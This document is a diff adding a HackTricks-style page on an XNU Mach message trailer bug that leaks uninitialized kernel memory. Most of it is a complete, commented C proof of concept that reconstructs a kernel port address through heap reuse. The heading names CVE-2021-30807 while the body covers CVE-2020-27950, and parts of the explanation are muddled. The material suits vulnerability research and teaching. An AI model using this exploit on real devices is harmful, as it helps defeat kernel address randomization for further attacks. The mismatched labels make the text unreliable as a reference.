|
| 1 | +# CVE-2021-30807: IOMobileFrameBuffer OOB |
| 2 | + |
| 3 | +{{#include ../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | + |
| 6 | +## The Bug |
| 7 | + |
| 8 | +You have a [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), but as summary: |
| 9 | + |
| 10 | +Every Mach message the kernel receives ends with a **"trailer"**: a variable-length struct with metadata (seqno, sender token, audit token, context, access control data, labels...). The kernel **always reserves the largest possible trailer** (MAX_TRAILER_SIZE) in the message buffer, but **only initializes some fields**, then later **decides which trailer size to return** based on **user-controlled receive options**. |
| 11 | + |
| 12 | +These are the trailer relevant structs: |
| 13 | + |
| 14 | +```c |
| 15 | +typedef struct{ |
| 16 | + mach_msg_trailer_type_t msgh_trailer_type; |
| 17 | + mach_msg_trailer_size_t msgh_trailer_size; |
| 18 | +} mach_msg_trailer_t; |
| 19 | + |
| 20 | +typedef struct{ |
| 21 | + mach_msg_trailer_type_t msgh_trailer_type; |
| 22 | + mach_msg_trailer_size_t msgh_trailer_size; |
| 23 | + mach_port_seqno_t msgh_seqno; |
| 24 | + security_token_t msgh_sender; |
| 25 | + audit_token_t msgh_audit; |
| 26 | + mach_port_context_t msgh_context; |
| 27 | + int msgh_ad; |
| 28 | + msg_labels_t msgh_labels; |
| 29 | +} mach_msg_mac_trailer_t; |
| 30 | + |
| 31 | +#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t) |
| 32 | +typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t; |
| 33 | +#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t)) |
| 34 | +``` |
| 35 | +
|
| 36 | +Then, when the trailer object is generated, only some fields are initialized, an the max trailer size is always reserved: |
| 37 | +
|
| 38 | +```c |
| 39 | +trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size); |
| 40 | +trailer->msgh_sender = current_thread()->task->sec_token; |
| 41 | +trailer->msgh_audit = current_thread()->task->audit_token; |
| 42 | +trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0; |
| 43 | +trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; |
| 44 | +[...] |
| 45 | +trailer->msgh_labels.sender = 0; |
| 46 | +``` |
| 47 | + |
| 48 | +Then, for example, when trying to read a a mach message using `mach_msg()` the function `ipc_kmsg_add_trailer()` is called to append the trailer to the message. Inside this function the tailer size is calculated and some other trailer fields are filled: |
| 49 | + |
| 50 | +```c |
| 51 | +if (!(option & MACH_RCV_TRAILER_MASK)) { [3] |
| 52 | + return trailer->msgh_trailer_size; |
| 53 | +} |
| 54 | + |
| 55 | +trailer->msgh_seqno = seqno; |
| 56 | +trailer->msgh_context = context; |
| 57 | +trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); |
| 58 | +``` |
| 59 | + |
| 60 | +The `option` parameter is user-controlled, so **it's needed to pass a value that passes the `if` check.** |
| 61 | + |
| 62 | +To pass this check we need to send a valid supported `option`: |
| 63 | + |
| 64 | +```c |
| 65 | +#define MACH_RCV_TRAILER_NULL 0 |
| 66 | +#define MACH_RCV_TRAILER_SEQNO 1 |
| 67 | +#define MACH_RCV_TRAILER_SENDER 2 |
| 68 | +#define MACH_RCV_TRAILER_AUDIT 3 |
| 69 | +#define MACH_RCV_TRAILER_CTX 4 |
| 70 | +#define MACH_RCV_TRAILER_AV 7 |
| 71 | +#define MACH_RCV_TRAILER_LABELS 8 |
| 72 | + |
| 73 | +#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28) |
| 74 | +#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24) |
| 75 | +#define MACH_RCV_TRAILER_MASK ((0xf << 24)) |
| 76 | +``` |
| 77 | +
|
| 78 | +But, becasaue the `MACH_RCV_TRAILER_MASK` is juts checking bits, we can pass any value between `0` and `8` to not enter inside the `if` statement. |
| 79 | +
|
| 80 | +Then, continuing with the code you can find: |
| 81 | +
|
| 82 | +```c |
| 83 | + if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) { |
| 84 | + trailer->msgh_ad = 0; |
| 85 | + } |
| 86 | +
|
| 87 | + /* |
| 88 | + * The ipc_kmsg_t holds a reference to the label of a label |
| 89 | + * handle, not the port. We must get a reference to the port |
| 90 | + * and a send right to copyout to the receiver. |
| 91 | + */ |
| 92 | +
|
| 93 | + if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) { |
| 94 | + trailer->msgh_labels.sender = 0; |
| 95 | + } |
| 96 | +
|
| 97 | +done: |
| 98 | +#ifdef __arm64__ |
| 99 | + ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread)); |
| 100 | +#endif /* __arm64__ */ |
| 101 | +
|
| 102 | + return trailer->msgh_trailer_size; |
| 103 | +``` |
| 104 | + |
| 105 | +Were you can see that if the `option` is bigger or equals to `MACH_RCV_TRAILER_AV` (7), the field **`msgh_ad`** is initialized to `0`. |
| 106 | + |
| 107 | +If you noticed, **`msgh_ad`** was still the only field of the trailer that was not initialized before which could contain a leak from previously used memory. |
| 108 | + |
| 109 | +So, the way avoid initializing it would be to pass an `option` value that is `5` or `6`, so it passes the first `if` check and doesn't enter the `if` that initializes `msgh_ad` because the values `5` and `6` don't have any trailer type associated. |
| 110 | + |
| 111 | +### Basic PoC |
| 112 | + |
| 113 | +Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data. |
| 114 | + |
| 115 | +### Leak Kernel Address PoC |
| 116 | + |
| 117 | +The Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked. |
| 118 | + |
| 119 | +Commetns were added for better understanding: |
| 120 | + |
| 121 | +```c |
| 122 | +#include <stdio.h> |
| 123 | +#include <stdlib.h> |
| 124 | +#include <unistd.h> |
| 125 | +#include <mach/mach.h> |
| 126 | + |
| 127 | +// Number of OOL port descriptors in the "big" message. |
| 128 | +// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds). |
| 129 | +#define LEAK_PORTS 50 |
| 130 | + |
| 131 | +// "Big" message: many descriptors → larger descriptor array in kmsg |
| 132 | +typedef struct { |
| 133 | + mach_msg_header_t header; |
| 134 | + mach_msg_body_t body; |
| 135 | + mach_msg_port_descriptor_t sent_ports[LEAK_PORTS]; |
| 136 | +} message_big_t; |
| 137 | + |
| 138 | +// "Small" message: fewer descriptors → leaves more room for the trailer |
| 139 | +// to overlap where descriptor pointers used to be in the reused kalloc chunk. |
| 140 | +typedef struct { |
| 141 | + mach_msg_header_t header; |
| 142 | + mach_msg_body_t body; |
| 143 | + mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10]; |
| 144 | +} message_small_t; |
| 145 | + |
| 146 | +int main(int argc, char *argv[]) { |
| 147 | + mach_port_t port; // our local receive port (target of sends) |
| 148 | + mach_port_t sent_port; // the port whose kernel address we want to leak |
| 149 | + |
| 150 | + /* |
| 151 | + * 1) Create a receive right and attach a send right so we can send to ourselves. |
| 152 | + * This gives us predictable control over ipc_kmsg allocations when we send. |
| 153 | + */ |
| 154 | + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); |
| 155 | + mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); |
| 156 | + |
| 157 | + /* |
| 158 | + * 2) Create another receive port (sent_port). We'll reference this port |
| 159 | + * in OOL descriptors so the kernel stores pointers to its ipc_port |
| 160 | + * structure in the kmsg → those pointers are what we aim to leak. |
| 161 | + */ |
| 162 | + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port); |
| 163 | + mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND); |
| 164 | + |
| 165 | + printf("[*] Will get port %x address\n", sent_port); |
| 166 | + |
| 167 | + message_big_t *big_message = NULL; |
| 168 | + message_small_t *small_message = NULL; |
| 169 | + |
| 170 | + // Compute userland sizes of our message structs |
| 171 | + mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message); |
| 172 | + mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message); |
| 173 | + |
| 174 | + // Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin) |
| 175 | + big_message = malloc(big_size + MAX_TRAILER_SIZE); |
| 176 | + small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); |
| 177 | + |
| 178 | + /* |
| 179 | + * 3) Prepare the "big" message: |
| 180 | + * - Complex bit set (has descriptors) |
| 181 | + * - 50 OOL port descriptors, all pointing to the same sent_port |
| 182 | + * When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port). |
| 183 | + * Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel). |
| 184 | + */ |
| 185 | + printf("[*] Creating first kalloc.1024 ipc_kmsg\n"); |
| 186 | + memset(big_message, 0, big_size + MAX_TRAILER_SIZE); |
| 187 | + |
| 188 | + big_message->header.msgh_remote_port = port; // send to our receive right |
| 189 | + big_message->header.msgh_size = big_size; |
| 190 | + big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) |
| 191 | + | MACH_MSGH_BITS_COMPLEX; |
| 192 | + big_message->body.msgh_descriptor_count = LEAK_PORTS; |
| 193 | + |
| 194 | + for (int i = 0; i < LEAK_PORTS; i++) { |
| 195 | + big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; |
| 196 | + big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; |
| 197 | + big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers |
| 198 | + } |
| 199 | + |
| 200 | + /* |
| 201 | + * 4) Prepare the "small" message: |
| 202 | + * - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused, |
| 203 | + * the trailer sits earlier and *overlaps* bytes where descriptor pointers lived. |
| 204 | + */ |
| 205 | + printf("[*] Creating second kalloc.1024 ipc_kmsg\n"); |
| 206 | + memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); |
| 207 | + |
| 208 | + small_message->header.msgh_remote_port = port; |
| 209 | + small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) |
| 210 | + | MACH_MSGH_BITS_COMPLEX; |
| 211 | + small_message->body.msgh_descriptor_count = LEAK_PORTS - 10; |
| 212 | + |
| 213 | + for (int i = 0; i < LEAK_PORTS - 10; i++) { |
| 214 | + small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; |
| 215 | + small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; |
| 216 | + small_message->sent_ports[i].name = sent_port; |
| 217 | + } |
| 218 | + |
| 219 | + /* |
| 220 | + * 5) Receive buffer for reading back messages with trailers. |
| 221 | + * We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5). |
| 222 | + * On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized |
| 223 | + * if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak. |
| 224 | + */ |
| 225 | + uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE); |
| 226 | + mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally) |
| 227 | + uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks |
| 228 | + |
| 229 | + /* |
| 230 | + * ---------- Exploitation sequence ---------- |
| 231 | + * |
| 232 | + * Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many |
| 233 | + * kernel pointers (ipc_port*) in its descriptor array. |
| 234 | + */ |
| 235 | + printf("[*] Sending message 1\n"); |
| 236 | + mach_msg(&big_message->header, |
| 237 | + MACH_SEND_MSG, |
| 238 | + big_size, // send size |
| 239 | + 0, // no receive |
| 240 | + MACH_PORT_NULL, |
| 241 | + MACH_MSG_TIMEOUT_NONE, |
| 242 | + MACH_PORT_NULL); |
| 243 | + |
| 244 | + /* |
| 245 | + * Step B: Immediately receive/discard it with a zero-sized buffer. |
| 246 | + * This frees the kalloc chunk without copying descriptors back, |
| 247 | + * leaving the kernel pointers resident in freed memory (stale). |
| 248 | + */ |
| 249 | + printf("[*] Discarding message 1\n"); |
| 250 | + mach_msg((mach_msg_header_t *)0, |
| 251 | + MACH_RCV_MSG, // try to receive |
| 252 | + 0, // send size 0 |
| 253 | + 0, // recv size 0 (forces error/free path) |
| 254 | + port, |
| 255 | + MACH_MSG_TIMEOUT_NONE, |
| 256 | + MACH_PORT_NULL); |
| 257 | + |
| 258 | + /* |
| 259 | + * Step C: Reuse the same size-class with the "small" message (fewer descriptors). |
| 260 | + * We slightly bump msgh_size by +4 so that when the kernel appends |
| 261 | + * the trailer, the trailer's uninitialized field `msgh_ad` overlaps |
| 262 | + * the low 4 bytes of a stale ipc_port* pointer from the prior message. |
| 263 | + */ |
| 264 | + small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window |
| 265 | + printf("[*] Sending message 2\n"); |
| 266 | + mach_msg(&small_message->header, |
| 267 | + MACH_SEND_MSG, |
| 268 | + small_size + sizeof(uint32_t), |
| 269 | + 0, |
| 270 | + MACH_PORT_NULL, |
| 271 | + MACH_MSG_TIMEOUT_NONE, |
| 272 | + MACH_PORT_NULL); |
| 273 | + |
| 274 | + /* |
| 275 | + * Step D: Receive message 2 and request an invalid trailer elements value (5). |
| 276 | + * - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer. |
| 277 | + * - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size. |
| 278 | + * - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7), |
| 279 | + * so with 5, `msgh_ad` remains uninitialized → stale bytes leak. |
| 280 | + */ |
| 281 | + memset(buffer, 0, big_size + MAX_TRAILER_SIZE); |
| 282 | + printf("[*] Reading back message 2\n"); |
| 283 | + mach_msg((mach_msg_header_t *)buffer, |
| 284 | + MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950 |
| 285 | + 0, |
| 286 | + small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer |
| 287 | + port, |
| 288 | + MACH_MSG_TIMEOUT_NONE, |
| 289 | + MACH_PORT_NULL); |
| 290 | + |
| 291 | + // Trailer begins right after the message body we sent (small_size + 4) |
| 292 | + trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)); |
| 293 | + |
| 294 | + // Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*) |
| 295 | + sent_port_address |= (uint32_t)trailer->msgh_ad; |
| 296 | + |
| 297 | + /* |
| 298 | + * Step E: Repeat the A→D cycle but now shift by another +4 bytes. |
| 299 | + * This moves the overlap window so `msgh_ad` captures the high 4 bytes. |
| 300 | + */ |
| 301 | + printf("[*] Sending message 3\n"); |
| 302 | + mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); |
| 303 | + |
| 304 | + printf("[*] Discarding message 3\n"); |
| 305 | + mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); |
| 306 | + |
| 307 | + // add another +4 to msgh_size → total +8 shift from the baseline |
| 308 | + small_message->header.msgh_size = small_size + sizeof(uint32_t)*2; |
| 309 | + printf("[*] Sending message 4\n"); |
| 310 | + mach_msg(&small_message->header, |
| 311 | + MACH_SEND_MSG, |
| 312 | + small_size + sizeof(uint32_t)*2, |
| 313 | + 0, |
| 314 | + MACH_PORT_NULL, |
| 315 | + MACH_MSG_TIMEOUT_NONE, |
| 316 | + MACH_PORT_NULL); |
| 317 | + |
| 318 | + memset(buffer, 0, big_size + MAX_TRAILER_SIZE); |
| 319 | + printf("[*] Reading back message 4\n"); |
| 320 | + mach_msg((mach_msg_header_t *)buffer, |
| 321 | + MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), |
| 322 | + 0, |
| 323 | + small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE, |
| 324 | + port, |
| 325 | + MACH_MSG_TIMEOUT_NONE, |
| 326 | + MACH_PORT_NULL); |
| 327 | + |
| 328 | + trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2); |
| 329 | + |
| 330 | + // Combine the high 32 bits, reconstructing the full 64-bit kernel pointer |
| 331 | + sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32; |
| 332 | + |
| 333 | + printf("[+] Port %x has address %lX\n", sent_port, sent_port_address); |
| 334 | + |
| 335 | + return 0; |
| 336 | +} |
| 337 | +``` |
| 338 | +
|
| 339 | +
|
| 340 | +## References |
| 341 | +
|
| 342 | +- [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) |
| 343 | +
|
| 344 | +
|
| 345 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments